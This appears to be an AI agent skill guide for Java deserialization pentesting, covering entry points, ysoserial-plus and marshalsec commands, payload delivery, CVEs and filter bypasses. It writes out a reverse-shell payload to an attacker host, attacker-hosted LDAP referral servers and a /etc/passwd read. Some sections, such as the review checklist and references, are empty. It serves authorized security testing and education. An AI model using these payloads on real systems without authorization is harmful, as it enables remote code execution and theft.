| name | java-deserialization-pentest |
| description | Java deserialization vulnerability assessment and exploitation. Use this skill whenever the user mentions Java deserialization, ObjectInputStream, readObject, gadget chains, ysoserial, or any Java serialization security testing. Trigger for pentesting Java applications, analyzing serialized payloads, generating exploit code, or hardening Java deserialization. Make sure to use this skill for any Java security assessment involving serialization, even if the user doesn't explicitly mention 'deserialization' but talks about Java object streams, RMI, or serialized data. |
Java Deserialization Pentest Skill
A comprehensive guide for assessing and exploiting Java deserialization vulnerabilities during security testing.
Core Concepts
Why Deserialization is Dangerous
Java's ObjectInputStream.readObject() can execute arbitrary code when deserializing attacker-controlled data. The vulnerability exists because:
readObject() - Class-specific read logic executes during deserialization
readResolve() - Can replace deserialized objects with attacker-controlled ones
validateObject() - Callbacks via ObjectInputValidation
- Constructors are NOT executed - Gadget chains rely exclusively on the above callbacks
Any method in this chain invoking attacker-controlled data (command execution, JNDI lookups, reflection) becomes an RCE gadget.
Classic Attack Pattern
Attacker → Serialized Payload → ObjectInputStream.readObject() → readObject() → Gadget Chain → RCE
The readObject() method can call other methods on deserialized fields, which may execute arbitrary code.
Attack Methodology
Step 1: Identify Deserialization Entry Points
Look for these patterns in Java applications:
ObjectInputStream.readObject()
RMI services accepting serialized objects
HttpSession serialization
- Message queues (JMS, Kafka) with Java serialization
- File uploads accepting
.ser, .dat, .obj files
- XML with Java object encoding
- Base64-encoded payloads with
{#sb64} prefix (pac4j)
Step 2: Enumerate Available Gadget Chains
Use ysoserial-plus to discover available gadgets:
java -jar ysoserial-plus.jar
java -jar ysoserial-plus.jar CommonsCollections6 'calc.exe' | base64 -w0
Step 3: Deliver the Payload
HTTP POST with serialized data:
curl -X POST http://target/api \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.ser
curl -X POST http://target/api \
-H "Content-Type: application/json" \
-d '{"data": "BASE64_PAYLOAD_HERE"}'
RMI exploitation:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker:8080/#ExploitClass 1389
File upload:
python3 scripts/upload_serialized.py http://target/upload payload.ser
Step 4: Verify Code Execution
- Check for callback to attacker-controlled server
- Look for file creation on target
- Monitor for process spawning (calc.exe, reverse shell)
- Use
SerialSniffer to confirm deserialization occurred
Tooling
ysoserial-plus (Primary Exploitation)
wget https://github.com/ysoserial/ysoserial-plus/releases/latest/download/ysoserial-plus.jar
java -jar ysoserial-plus.jar CommonsCollections6 'reverse_shell_command' > payload.ser
java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
marshalsec (JNDI Gadgets)
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker:8080/#ExploitClass 1389
java -cp marshalsec.jar marshalsec.jndi.LDAPPayload 'ldap://attacker:1389/ExploitClass' > payload.ser
gadget-probe (Discovery)
gadget-probe --url http://target --threads 50
SerialSniffer (Detection)
java -javaagent:SerialSniffer.jar -jar target-app.jar
Detection with JDK 22+
-Djdk.serialDebug=true
Recent Vulnerabilities (2023-2025)
| CVE | Product | Description |
|---|
| CVE-2023-34040 | Spring-Kafka | Deserialization of error-record headers |
| CVE-2023-36480 | Aerospike Java Client | Trusted-server assumption broken |
| CVE-2023-25581 | pac4j-core | {#sb64} Base64 deserialization bypass |
| CVE-2023-4528 | JSCAPE MFT Manager | XML-encoded Java objects RCE |
| 2024 | ysoserial-plus | New Hibernate5, TomcatEmbed, SnakeYAML 2.x gadgets |
Mitigation Testing
Check for Serialization Filtering
echo "Test if filter rejects unknown classes"
Verify Filter Configuration
Look for these JVM arguments:
-Djdk.serialFilter="com.example.dto.*;java.base/*;!*"
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"
-Djdk.serialFilter="*"
Test Filter Bypasses
Some filters can be bypassed:
- Inner classes -
com.example.Outer$Inner may bypass com.example.Outer
- Array types -
[Lcom.example.Class; may bypass class filters
- Proxy classes -
$Proxy0 may bypass filters
- Module names -
java.base/* is often too permissive
Secure Code Review Checklist
When reviewing Java code for deserialization:
Quick Reference
Common Gadget Chains by Library
| Library | Chains | Risk Level |
|---|
| CommonsCollections | 1-7 | Critical |
| Spring | 1-4 | Critical |
| Hibernate | 1-5 | High |
| SnakeYAML | 1-2 | High |
| Groovy | 1-2 | High |
| C3P0 | 1 | Medium |
| Tomcat | 1-2 | Medium |
Payload Generation Commands
java -jar ysoserial-plus.jar CommonsCollections6 'bash -i >& /dev/tcp/attacker/4444 0>&1' > payload.ser
java -jar ysoserial-plus.jar C3P0 'cat /etc/passwd' > payload.ser
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker:8080/#ExploitClass 1389
References
Note: Always obtain proper authorization before testing deserialization vulnerabilities. Unauthorized exploitation of deserialization flaws is illegal and can cause severe damage to production systems.